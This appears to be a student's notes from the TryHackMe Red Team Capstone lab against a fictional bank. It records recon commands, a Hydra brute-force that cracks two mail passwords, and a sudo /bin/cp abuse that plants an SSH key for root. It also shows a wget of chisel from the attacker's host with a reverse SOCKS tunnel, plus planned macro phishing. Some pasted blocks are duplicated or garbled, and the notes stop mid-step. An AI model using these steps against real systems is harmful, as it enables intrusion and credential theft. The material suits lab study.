

## Red Team Capstone Challenge Report

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# Executive Summary

**The purpose of this assessment is to evaluate whether:** the corporate division can be compromised and, if so, determine if it could compromise to bank division

**The Reserve will create to new account bank I'll need to demonstrate that it's possible to transfer funds between these two accounts the only way is to gaining access to SWIFT**

<http://swift.bank.thereserve.loc/>

- the SWIFT backend exposes an internal web application
- The Reserve uses to facilitate transfers.

## Transfer process

- A customer makes a request that funds should be transferred and receives a transfer code.
- The customer contacts the bank and provides this transfer code.
- An employee with the capturer role authenticates to the SWIFT application and captures the transfer.
- An employee with the approver role reviews the transfer details and, if verified, approves the transfer. This has to be performed from a jump host.
- Once approval for the transfer is received by the SWIFT network, the transfer is facilitated and the customer is notified.

## In-Scope

- Security testing of TheReserve's internal and external networks, including all IP ranges accessible through your VPN connection.
- OSINTing of TheReserve's corporate website, which is exposed on the external network of TheReserve. Note, this means that all OSINT activities should be limited to the provided network subnet and no external internet OSINTing is required.
- Phishing of any of the employees of TheReserve.
- Attacking the mailboxes of TheReserve employees on the WebMail host (.11).
- Using any attack methods to complete the goal of performing the transaction between the provided accounts

## Out-of-Scope

- Security testing of any sites not hosted on the network.
- Security testing of the TryHackMe VPN (.250) and scoring servers, or attempts to attack any other user connected to the network.
- Any security testing on the WebMail server (.11) that alters the mail server configuration or its underlying infrastructure.
- Attacking the mailboxes of other red teamers on the WebMail portal (.11).
- External (internet) OSINT gathering.

- Attacking any hosts outside of the provided subnet range. Once you have completed the questions below, your subnet will be displayed in the network diagram. This 10.200.X.0/24 network is the only in-scope network for this challenge.
- Conducting DoS attacks or any attack that renders the network inoperable for other users.
- The VPN server and the e-Citizen platform are not in scope for this assessment, and any security testing of these systems may lead to a ban from the challenge.

## Project Tools : I downloaded it in my machine or /root/Rooms/Capstone Challenge

### To Register : e-Citizen communication portal

SSH Username	e-citizen
SSH Password	stabilitythroughcurrency
SSH IP	10.200.116.250

### Summary

- The purpose of this assessment is to evaluate whether the corporate division can be compromised and, if so, determine if it could result in the compromise of the bank division.
- To demonstrate the compromise, a simulated fraudulent money transfer must be performed by gaining access to the SWIFT core backend banking system.
- The SWIFT backend infrastructure is secure but exposes an internal web application used by TheReserve to facilitate transfers.
- A general process for transfers involves the separation of duties to ensure that one employee cannot both capture and approve the same transfer.
- You have been provided with some information and tools that you may find helpful in the exercise, including a password policy, but you are free to use your own.
- There are rules in place that determine what you are allowed and disallowed to do. Failure to adhere to these rules might result in a ban from the challenge.
- After gaining access to the network, you need to register for the challenge through e-Citizen communication portal using provided SSH details.
- You will need to prove compromises by performing specific steps on the host that you have compromised. These steps will be provided to you through the e-Citizen portal.

# Web Server

<http://swift.bank.thereserve.loc/>

## To-Do-List

- Browse the website
  - o check for usernames.....emails.....etc.
- Check source code
- Check robots.txt
- Gobuster - dir search
  - o gobuster dir -u 10.200.116.13 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- Gobuster - vhosts
  - o gobuster vhost -u 10.200.116.13 -w /usr/share/wordlists/SecLists/Discovery/DNS/xxxxxxx.txt --exclude-length 335
- Nikto
  - o nikto -h 10.200.116.13
- CEWL
  - o Cewl -m 7 xxxx.13 -d password.txt

## Users to enumerate:

<http://10.200.116.13/october/index.php/demo/meettheteam>



applications@corp.thereserve.loc

## Possible phishing? It's requesting the following

- Resume
  - o Doc - macro phishing
- Last 3 month banking statements

october\_session=eyJpdil6lmdBblNoNkw3ZjNWTGllwc1N2YUlmMEE9PSIsInZhbHVlIjoieQkdITndoakFsa09VR0p2ZkhTK3dXajJLQStcL0tyeWZVQlI2WTZUV2RxBkZ6TjJlNUUNOTHJleDJ6cUg4Qld5UnRQSEVhcEdGbkV5c0xqeWR3V3dOZ2V3UnpJTXBxUXUyRUNOSkFwSlEwNHBMStTeUZpdUxOajZ2WUN2cU  
pyS05vliwibWFjIjoieM2Q3MDM0YTVkMzc0YzE4MTMwMDljZDE2NzhkYzI1NmJkMWU2ZTI5MjE1OTBIMDY3MGI0ZmZhMmJmZTU4ZjYzNSJ9

Connection: close



`curl -s http://thereserve.thm/october/themes/demo/assets/images/ | grep -oP '(?<=href=")[^"]+\.jpeg' | sed 's/\.jpeg//' > names.txt`

## The team Possible

[IMG]	antony.ross.jpeg	2023-02-18 20:17	445K
[IMG]	ashley.chan.jpeg	2023-02-18 20:17	429K
[IMG]	brenda.henderson.jpeg	2023-02-18 20:17	462K
[IMG]	charlene.thomas.jpeg	2023-02-18 20:17	472K
[IMG]	christopher.smith.jpeg	2023-02-18 20:17	435K
[IMG]	emily.harvey.jpeg	2023-02-18 20:17	446K
[IMG]	keith.allen.jpeg	2023-02-18 20:17	406K
[IMG]	laura.wood.jpeg	2023-02-18 20:17	560K
[IMG]	leslie.morley.jpeg	2023-02-18 20:17	462K
[IMG]	lynda.gordon.jpeg	2023-02-18 20:17	510K
[IMG]	martin.savage.jpeg	2023-02-18 20:18	435K
[IMG]	mohammad.ahmed.jpeg	2023-02-18 20:22	423K
[ ]	october.pn	2023-02-18 19:25	34K
[IMG]	october.png	2023-02-18 19:25	34K
[IMG]	paula.bailey.jpeg	2023-02-18 20:17	501K
[IMG]	rhys.parsons.jpeg	2023-02-18 20:17	478K
[IMG]	roy.sims.jpeg	2023-02-18 20:17	435K
[IMG]	theme-preview.png	2023-02-15 06:28	40K

The server version: Apache/2.4.29 (Ubuntu) Server at 10.200.116.13 Port 80

## October CMS :



README

## Possible Attack Paths

- Username enumeration for phishing or brute force attacks
- Possible phishing on this email with a word doc with malicious macros disguised as a resume?
  - o applications@corp.thereserve.loc
- OctoberCMS
  - o Check for vulns - especially RCE?
- Php info is exposed might be attack here

Admin panel:

<http://thereserve.thm/october/index.php/backend/backend/auth/signin>

We did a user enumeration

```
12 Cookie: october_session=
eyJpdiI6ImtBaE9WTKVRY05BRGVFXC9nVkhzMXNBPT0iLCJ2YWx1ZSI6ImtV
V3U0eHdwMmQ1QjRkOTVCZ3J6dzJuNk9ISz1EdW9XekJDeTNHSEtObzdaSDha
V0l3U2p2M0pNZWJpMU93cWpkREx5ckpzTkNIQjRSNGhMZkc2K294MzhtWWJp
dmdOU216Ml dL ZTE3dCt xQzRsMLRcL2t vVkkxpYnBCdTNCTDR0eCIsIm1hYyI6
Ij A2ZWQwNTJmMmQwYTk1Yj YwMzVkZDg5Nj YwYzk3N2ZkZDl jMGVMTk2Y2Zl
M2MzOGIwODMSNTMxYzg0MGViZDEfQ%3D%3D
13 Upgrade-Insecure-Requests: 1
14 Priority: u=0, i
15
16 _session_key=Wx1Yw3yTBuNgjz51Vqjt75XJFYQxXo0ypek0tES2&_token
=ASfAC3hqjtqWyLWhJYkdjs8IJ0kvcN1VI3xxR7SA&postback=1&login=
admin&password=admin
85
86
87
88
89 <!-- Flash Messages -->
90 <div id="layout-flash-messages">
  <p data-control="flash-message" class="
  flash-message fade error" data-interval="5">
    A user was found to match all plain text credentials
    however hashed credential &quot;password&quot; did
    not match.
  </p>
91 </div>
92
93 </body>
94 </html>
95
```

```
Cookie: october_session=
eyJpdiI6ImtBaE9WTKVRY05BRGVFXC9nVkhzMXNBPT0iLCJ2YWx1ZSI6ImtV
V3U0eHdwMmQ1QjRkOTVCZ3J6dzJuNk9ISz1EdW9XekJDeTNHSEtObzdaSDha
V0l3U2p2M0pNZWJpMU93cWpkREx5ckpzTkNIQjRSNGhMZkc2K294MzhtWWJp
dmdOU216Ml dL ZTE3dCt xQzRsMLRcL2t vVkkxpYnBCdTNCTDR0eCIsIm1hYyI6
Ij YzYzY2YTZhNTM1MzQ2YWUyMmY5MDBjOGY1Yj Y2MGRlYj RiN2IxNWQ1N2Yw
NWQ1ZUwzNmE4Yzk5ZTViZTliMzYi fQ%3D%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i
_session_key=Wx1Yw3yTBuNaiz5iVait75XJFY0xXo0vpek0tES2&_token
=ASfAC3hqjtqWyLWhJYkdjs8IJ0kvcN1VI3xxR7SA&postback=1&login=
opmass&password=ssbs
84
85
86
87
88
89 <!-- Flash Messages -->
90 <div id="layout-flash-messages">
  <p data-control="flash-message" class="
  flash-message fade error" data-interval="5">
    A user was not found with the given
    credentials.
  </p>
91 </div>
92
93 </body>
94 </html>
```

So we are hitting to the best part which is to password cracking to the admin\_portal

So I generate a password list with the policy I got first I set the rule `sudo nano /etc/john/john.conf` the rule was

So after that I set my rules in the rules category then after that

I ran this command `john --wordlist=password_base_list.txt --rules=TheReserve --stdout > thereserve_wordlist.txt`

now I'm struggling in the cracking phase

```
(kali㉿kali)-[~/TryHackMe/RedTeam_Capstone/passwords]
$ ls
names.txt  password_base_list.txt  password_list.txt  password_policy.txt


(kali㉿kali)-[~/TryHackMe/RedTeam_Capstone/passwords]
$ sed -i 's/$/@corp.thereserve.loc/' names.txt

(kali㉿kali)-[~/TryHackMe/RedTeam_Capstone/passwords]
$ cat names.txt
antony.ross@corp.thereserve.loc
ashley.chan@corp.thereserve.loc
brenda.henderson@corp.thereserve.loc
charlene.thomas@corp.thereserve.loc
christopher.smith@corp.thereserve.loc
emily.harvey@corp.thereserve.loc
keith.allen@corp.thereserve.loc
laura.wood@corp.thereserve.loc
leslie.morley@corp.thereserve.loc
lynda.gordon@corp.thereserve.loc
martin.savage@corp.thereserve.loc
mohammad.ahmed@corp.thereserve.loc
paula.bailey@corp.thereserve.loc
rhys.parsons@corp.thereserve.loc
roy.sims@corp.thereserve.loc

(kali㉿kali)-[~/TryHackMe/RedTeam_Capstone/passwords]
$
```

# Webmail

After I get by enum get mails I try to brute force the smtp



```
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[STATUS] 860.00 tries/min, 860 tries in 00:01h, 9940 to do in 00:12h, 16 active
[STATUS] 874.00 tries/min, 2622 tries in 00:03h, 8178 to do in 00:10h, 16 active
[25][smtp] host: mail.thm login: laura.wood@corp.thereserve.loc password: Password1@
[VERBOSE] using SMTP LOGIN AUTH mechanism
[STATUS] 960.00 tries/min, 6720 tries in 00:07h, 4080 to do in 00:05h, 16 active
[25][smtp] host: mail.thm login: mohammad.ahmed@corp.thereserve.loc password: Password1!
[VERBOSE] using SMTP LOGIN AUTH mechanism
[STATUS] attack finished for mail.thm (waiting for children to complete tests)
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-24 13:20:41

(omar@kali)-[~/Capstone_Challenge_Resources/passwords]
$
```

laura.wood@corp.thereserve.loc  
Password1@

mohammad.ahmed@corp.thereserve.loc  
Password1!




## SSH(22)

```
22/tcp open ssh      OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 f3:6c:52:d2:7f:e9:0e:1c:c1:c7:ac:96:2c:d1:ec:2d (RSA)
| 256 c2:56:3c:ed:c4:b0:69:a8:e7:ad:3c:31:05:05:e9:85 (ECDSA)
|_ 256 d3:e5:f0:73:75:d5:20:d9:c0:bb:41:99:e7:af:a0:00 (ED25519)
```

# SMTP(25,587)

25/tcp open smtp hMailServer smtpd  
| smtp-commands: MAIL, SIZE 20480000, AUTH LOGIN, HELP  
|\_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY

587/tcp open smtp hMailServer smtpd  
| smtp-commands: MAIL, SIZE 20480000, AUTH LOGIN, HELP  
|\_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY



```
SMTP_burteforce
File Actions Edit View Help
VPN x SMTP_burteforce x Terminal x
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
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[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[STATUS] 860.00 tries/min, 860 tries in 00:01h, 9940 to do in 00:12h, 16 active
[STATUS] 874.00 tries/min, 2622 tries in 00:03h, 8178 to do in 00:10h, 16 active
[25][smtp] host: mail.thm login: laura.wood@corp.thereserve.loc password: Password1@
[VERBOSE] using SMTP LOGIN AUTH mechanism
[STATUS] 960.00 tries/min, 6720 tries in 00:07h, 4080 to do in 00:05h, 16 active
[25][smtp] host: mail.thm login: mohammad.ahmed@corp.thereserve.loc password: Password1!
[VERBOSE] using SMTP LOGIN AUTH mechanism
[STATUS] attack finished for mail.thm (waiting for children to complete tests)
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-24 13:20:41
(omar@kali)~[/Capstone_Challenge_Resources/passwords]
```

laura.wood@corp.thereserve.loc  
Password1@

mohammad.ahmed@corp.thereserve.loc  
Password1!

# HTTP(80)

```
80/tcp open  http      Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
|_http-methods:
|_Supported Methods: OPTIONS TRACE GET HEAD POST
|_Potentially risky methods: TRACE
```

Same As the web\_server

- Gobuster - dir search
  - o gobuster dir -u 10.200.116.13 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- Gobuster - vhosts
  - o gobuster vhost -u 10.200.116.13 -w /usr/share/wordlists/SecLists/Discovery/DNS/xxxxxxx.txt --exclude-length 335
- Nikto
  - o nikto -h 10.200.116.13

## Pop3(110)

```
110/tcp open  pop3      hMailServer pop3d  
|_pop3-capabilities: UIDL TOP USER
```

# IMAP(143)

```
143/tcp open  imap      hMailServer imapd
|_imap-capabilities: IDLE ACL NAMESPACE OK IMAP4rev1 CAPABILITY completed SORT QUOTA
RIGHTS=texkA0001 CHILDREN IMAP4
```

# SMB(135,139,445)

135/tcp open msrpc Microsoft Windows RPC  
139/tcp open netbios-ssn Microsoft Windows netbios-ssn  
445/tcp open microsoft-ds?

# MYSQL(3306)

3306/tcp open mysql MySQL 8.0.31

| mysql-info:  
| Protocol: 10  
| Version: 8.0.31  
| Thread ID: 21  
| Capabilities flags: 65535  
| Some Capabilities: Speaks41ProtocolOld, Support41Auth, SupportsTransactions, ConnectWithDatabase, IgnoreSigpipes, SwitchToSSLAfterHandshake, LongColumnFlag, Speaks41ProtocolNew, FoundRows, InteractiveClient, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, SupportsCompression, SupportsLoadDataLocal, LongPassword, ODBCClient, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments  
| Status: Autocommit  
| Salt: Bo\x12wjt,gczM\x19tnre7l\x0Fk  
|\_ Auth Plugin Name: caching\_sha2\_password  
| ssl-cert: Subject: commonName=MySQL\_Server\_8.0.31\_Auto\_Generated\_Server\_Certificate  
| Issuer: commonName=MySQL\_Server\_8.0.31\_Auto\_Generated\_CA\_Certificate  
| Public Key type: rsa  
| Public Key bits: 2048  
| Signature Algorithm: sha256WithRSAEncryption  
| Not valid before: 2023-01-10T07:46:11  
| Not valid after: 2033-01-07T07:46:11  
| MD5: 1bd2:ba34:dd9d:39a0:fba2:5013:eb1f:b3f6  
|\_SHA-1: 406b:cedd:04f3:dd8e:1784:2fd6:cefd:a0d7:1382:4cdf  
|\_ssl-date: TLS randomness does not represent time

# RDP(3389)

3389/tcp open ms-wbt-server Microsoft Terminal Services

| rdp-ntlm-info:  
| Target\_Name: THERESERVE  
| NetBIOS\_Domain\_Name: THERESERVE  
| NetBIOS\_Computer\_Name: MAIL  
| DNS\_Domain\_Name: thereserve.loc  
| DNS\_Computer\_Name: MAIL.thereserve.loc  
| Product\_Version: 10.0.17763  
|\_ System\_Time: 2025-04-22T15:29:43+00:00  
| ssl-cert: Subject: commonName=MAIL.thereserve.loc  
| Issuer: commonName=MAIL.thereserve.loc  
| Public Key type: rsa  
| Public Key bits: 2048  
| Signature Algorithm: sha256WithRSAEncryption  
| Not valid before: 2025-04-20T20:10:37  
| Not valid after: 2025-10-20T20:10:37  
| MD5: d4d0:0b49:57ed:5ad9:f63f:70ac:2092:e094  
|\_SHA-1: e9b6:76a7:8b7e:8ce5:86c0:4e0b:2dcc:f4b4:e644:508b  
|\_ssl-date: 2025-04-22T15:29:58+00:00; -1s from scanner time.  
Service Info: Host: MAIL; OS: Windows; CPE: cpe:/o:microsoft:windows



# VPN

## Nmap -p 20,80 -A 10.200.116.12

```
22/tcp open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d5:70:14:0b:7f:25:f9:35:24:89:d1:47:c5:85:fc:bc (RSA)
| 256 6b:fc:dd:74:09:6a:76:fe:fa:8c:1b:eb:3b:1b:cf:c0 (ECDSA)
|_ 256 8f:ec:8e:a1:44:aa:d6:61:11:8d:05:81:a2:8c:3b:0d (ED25519)
```

```
80/tcp open  http      Apache httpd 2.4.29 ((Ubuntu))
|_ http-title: VPN Request Portal
|_ http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

**There is an OpenVPN file here**

**10.200.116.12/vpn/**

Do nmap and see hosts

I got a new important info about that after I connectd to the vpn I see the pc on ip  
10.200.116.21 , 10.200.116.22

## VPN Request Server v14.2

05/05/2025 12:15:42 am  
Welcome: mohammad.ahmed@corp.thereserve.loc



This server is to be accessed only by TheReserve employees to request internal access.

Account:

[Help & Support](#)

**TheReserve**

[Log Out](#)

Send

Cancel

<

>

Target: http://10.200.113.12 HTTP/1

Request

Pretty

Raw

Hex

```

1 GET /requestvpn.php?filename=t2_alexander.bentley HTTP/1.1
2 Host: 10.200.113.12
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78
  Safari/537.36
5 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
  webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Referer: http://10.200.113.12/vpncontrol.php
7 Accept-Encoding: gzip, deflate
8 Accept-Language: en-US,en;q=0.9
9 Cookie: PHPSESSID=mo3pr00osvbacjfjdpmonjCgrc
10 Connection: close
11
12

```

Response

Pretty

Raw

Hex

Render

```

1 HTTP/1.1 200 OK
2 Date: Sun, 14 May 2023 03:26:46 GMT
3 Server: Apache/2.4.29 (Ubuntu)
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate
6 Pragma: no-cache
7 Content-Disposition: attachment; filename="t2_alexander.bentley.ovpn"
8 Connection: close
9 Content-Type: text
10 Content-Length: 8314
11
12 client
13 dev tun
14 proto tcp
15 sndbuf 0
16 rcvbuf 0
17 remote 10.200.113.12 1194
18 resolv-retry infinite
19 nobind
20 persist-key
21 persist-tun
22 remote-cert-tls server
23 auth SHA512
24 data-ciphers AES-256-CBC
25 key-direction 1
26 verb 3
27 <ca>
28 -----BEGIN CERTIFICATE-----
29 MIIDQjCCAiqgAwIBAgIUMgz4AevNs5WacNBj0W7j5Naq4bswDQYJKoZIhvcNAQEL
30 BQAwEzERMABGA1UEAwITQ2hhbmdlTWUwMhcnbmJwNzA4MjAwMjUxMhcnbmZAMzA2
31 MjAwMjUxMjAwMjUxMjAwMjUxMjAwMjUxMjAwMjUxMjAwMjUxMjAwMjUxMjAwMjUx
32 ggEPADCCAQoCggEBANjyKxMDPlnJlPwDvoXL5gE1mhSukaOCuo/wbuVEBORzCrs
33 ckoJewL+4vzja00J4QI/IyQfVkw96GgrTAL0u9fXTQEWFDQrqlPnFPE9qmsPouMc
34 jnKqWdUd61t3cmqTBBTmBUsQIMSyy8YmhZckBEZoh10TH73CZa0ubKou7w0BxY

```

## SSH(22)

```
www-data@ip-10-200-116-12:/home/ubuntu$ sudo /bin/cp /home/ubuntu/.ssh/authorized_keys /dev/stdout
<in/cp /home/ubuntu/.ssh/authorized_keys /dev/stdout
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQCMLOT6NhiqH5Rp36qJt4jZwfvb/H/+YLRTRx5mS9dSyxumP8+chjxkSN0rdgNtZ6XoaDDDiKslQvKMCqoJqHqp4jh9xTQTj29tagU
aZmR0gUwatEJPG0SfqNvNExgsTtu2DW3SxCQYwrMtu9S4myr+4x+rwQ739SPLMdBmughB13uC/3DCsE4aRvWL7p+McehG6kqvYAfhuX/9SNgnIKayozWMPHADhpYLAomGnTtd8Cn+O
1lI2mvqz5kJDYmnlKppKW2mgtAVeejNXGC7TQRkH6athI5Wzek9PXiFVu6IZsJePo+y8+n2zhOXM2mHx01QyvK2WZuQCvLPWKW92eF amiOpenVPN
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQCeZbsrpsTaTF6VqP3nAl9icN4AGzsrhyxHHJq3nikhy7MV0effPfpWgGiuY2/8n3Ec7pcS803eWZLZInQsyyby6ET072BkPu9Ku7
aLVTVwfNjYtP49a/AajZ4PpvdT4smJkhxXgF7Y0Z9fd6DgYvkeE7e/xTdYysU4lmzGubt5xPAKWLVh3kzt/8Ay+JaTnevXpIwEvWN2tushosde2XcyMfQAFYpFoOF5gL7QgkqoV4gm7
3SH93vvqmNuqLgYgZXiWP5auwJK4qSnS1Mxtx2WbTyE61zTnsxA9OQSHtTMNMiAQOAMTF/DQ38wPEy4SNaIecJCFPkqM50cTw++w7 TGreen-Key
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQAC+IKDiXx+vyfU2QWArKGBJeT1Q/WvF7jX1sAmt/iZu89fUABT200wtqxs5e38zO4RvM8xqYwk3Pn0Sikqcaqlk2ra2A7xFdG92RN
s4QYXJUyK6dW+G5RZGBQe+f0nIFx9Dz19WqlfbGwpenke5PYGLpNvZr1lA9EvIvIJ66+lKf9CRgI0T5vkargpuVS3yqS3wggOmj/vtzGM0bjERJdsHaRtje4FJaRK3obIsOpfvSchq
9QAmP72EYA4X4+eifThmLI/f03b8uFwOTlhznjKtCtEL5Dfrqc8X2Yv2p9R5kjI6/fpZbuXWVRWUHAu+Snu0RPqacJXGuAXUpb0COKf ubuntu@ip-172-31-10-250
www-data@ip-10-200-116-12:/home/ubuntu$
```

```
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQCMLOT6NhiqH5Rp36qJt4jZwfvb/H/+YLRTRx5mS9dSyxumP8
+chjxkSN0rdgNtZ6XoaDDDiKslQvKMCqoJqHqp4jh9xTQTj29tagUaZmR0gUwatEJPG0SfqNvNExgsTtu2DW3SxCQYwrMtu9S4myr+
4x+rwQ739SPLMdBmughB13uC/3DCsE4aRvWL7p+McehG6kqvYAfhuX/9SNgnIKayozWMPHADhpYLAomGnTtd8Cn+O1lI2mvqz5kJDYmnlKppKW2mgtAVeejNXGC7 TQRkH6athI5Wzek9PXiFVu6IZsJe
Po+y8+n2zhOXM2mHx01QyvK2WZuQCvLPWKW92eF amiOpenVPN
```

```
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQCeZbsrpsTaTF6VqP3nAl9icN4AGzsrhyxHHJq3nikhy7MV0effPfpWgGiuY2/8n3Ec7pcS803eWZLZInQsyyby6ET072BkPu9Ku7aLVTVwfNjYtP49a/AajZ4PpvdT
4smJkhxXgF7Y0Z9fd6DgYvkeE7e/xTdYysU4lmzGubt5xPAKWLVh3kzt/8Ay+JaTnevXpIwEvWN2tushosde2XcyMfQAFYpFoOF5gL7QgkqoV4gm73SH93vvqmNuqLgYgZXiWP5auwJK4qSnS1Mxtx2WbT
yE61zTnsxA9OQSHtTMNMiAQOAMTF/DQ38wPEy4SNaIecJCFPkqM50cTw++w7 TGreen-Key
```

```
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQAC+IKDiXx+vyfU2QWArKGBJeT1Q/WvF7jX1sAmt/iZu89fUABT200wtqxs5e38zO4RvM8xqYwk3Pn0Sikqcaqlk2ra2A7xFdG92RN4QYXJUyK6dW+G5RZGBQe+f
0nIFx9Dz19WqlfbGwpenke5PYGLpNvZr1lA9EvIvIJ66+lKf9CRgI0T5vkargpuVS3yqS3wggOmj/vtzGM0bjERJdsHaRtje4FJaRK3obIsOpfvSchq9QAmP72EY A4X4
+eifThmLI/f03b8uFwOTlhznjKtCtEL5Dfrqc8X2Yv2p9R5kjI6/fpZbuXWVRWUHAu+Snu0RPqacJXGuAXUpb0COKf ubuntu@ip-172-31-10-250
```

sudo /bin/cp /home/ubuntu/.ssh/authorized\_keys /dev/stdout

```
www-data@ip-10-200-116-12:/home/ubuntu$ sudo -l
sudo -l
Matching Defaults entries for www-data on ip-10-200-116-12:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ip-10-200-116-12:
    (root) NOPASSWD: /home/ubuntu/openvpn-createuser.sh, /bin/cp
```

```
(kali@kali) [~/Capstone_Challenge_Resources/VPN]
$ ssh-keygen -f mykey
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in mykey
Your public key has been saved in mykey.pub
The key fingerprint is:
SHA256:s+0D5J1I63seaZgkVw6zcra0ZeIps+C1znF3d4rdo omar@kali
The key's randomart image is:
+--[ED25519 256]--+
|      .            |
|      o            |
|     = . o .       |
|    o O .++ .S .   |
|   | 0 ++Bo= =     |
|  . +0=.=.*        |
|   .o++*..         |
|   o+0+.E.         |
|+-----[SHA256]-----+
(kali@kali) [~/Capstone_Challenge_Resources/VPN]
$ cat mykey.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKe9qa5EIqP8rFzVMr6ZyYKotPwMU+nrJI8+7FxQD0 kali@kali
```

```
www-data@ip-10-200-116-12:/home/ubuntu$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKe9qa5EIqP8rFzVMr6ZyYKotPwMU+nrJI8+7FxQD0 kali@kali" >
/tmp/mykey.pub
<l9CGQiwOCfEffamL/AZ3r+g omar@kali" > /tmp/mykey.pub
www-data@ip-10-200-116-12:/home/ubuntu$ sudo cp /tmp/mykey.pub /root/.ssh/authorized_keys
<$ sudo cp /tmp/mykey.pub /root/.ssh/authorized_keys
```

```
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKe9qa5EIqP8rFzVMr6ZyYKotPwMU+nrJI8+7FxQD0 kali@kali" | sudo /bin/cp /dev/stdin
/home/ubuntu/.ssh/authorized_keys
```

```
(omar@kali)~[/Capstone_Challenge_Resources/VPN]
$ ssh -i mykey root@10.200.116.12
```

```
(omar@kali)~[/Capstone_Challenge_Resources/VPN]
$ ssh -i mykey root@10.200.116.12
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.4.0-1101-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Wed Apr 30 12:34:52 UTC 2025

System load:  0.28           Processes:    123
Usage of /:   49.5% of 7.68GB Users logged in:  0
Memory usage: 19%          IP address for ens5: 10.200.116.12
Swap usage:   0%            IP address for tun0: 12.100.1.1

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

72 packages can be updated.
1 update is a security update.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your

Last login: Wed Apr 30 11:17:01 2025 from 10.50.113.119
root@ip-10-200-116-12:~#
```

```
(omar@kali)~[/chisel]
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

```
(omar@kali)~[/chisel]
$ chisel server -p 8000 --reverse
2025/04/30 15:25:55 server: Reverse tunnelling enabled
2025/04/30 15:25:55 server: Fingerprint nP3dJzwAlCe5oUcx7r5kAc40r3MSfW3NAi32QL+7xMg=
2025/04/30 15:25:55 server: Listening on http://0.0.0.0:8000
2025/04/30 15:26:31 server: session#1: tun: proxy#R:127.0.0.1:1080⇒socks: Listening
```

```
root@ip-10-200-116-12:/home/ubuntu/prv# wget http://10.50.113.119/chisel
--2025-04-30 19:24:24-- http://10.50.113.119/chisel
Connecting to 10.50.113.119:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9371800 (8.9M) [application/octet-stream]
Saving to: 'chisel'

chisel 100%[=====]
2025-04-30 19:25:10 (202 KB/s) - 'chisel' saved [9371800/9371800]

root@ip-10-200-116-12:/home/ubuntu/prv# chmod +x chisel
root@ip-10-200-116-12:/home/ubuntu/prv# ls
chisel
root@ip-10-200-116-12:/home/ubuntu/prv# ./chisel client 10.50.113.119:8000 R:socks
2025/04/30 19:26:28 client: Connecting to ws://10.50.113.119:8000
2025/04/30 19:26:30 client: Connected (Latency 120.71035ms)
```

I connectd as root and I connectd as ubuntu this are two ways

```
(kali@kali)~[/TryHackMe/RedTeam_Capstone]
$ cat id_rsa.pub
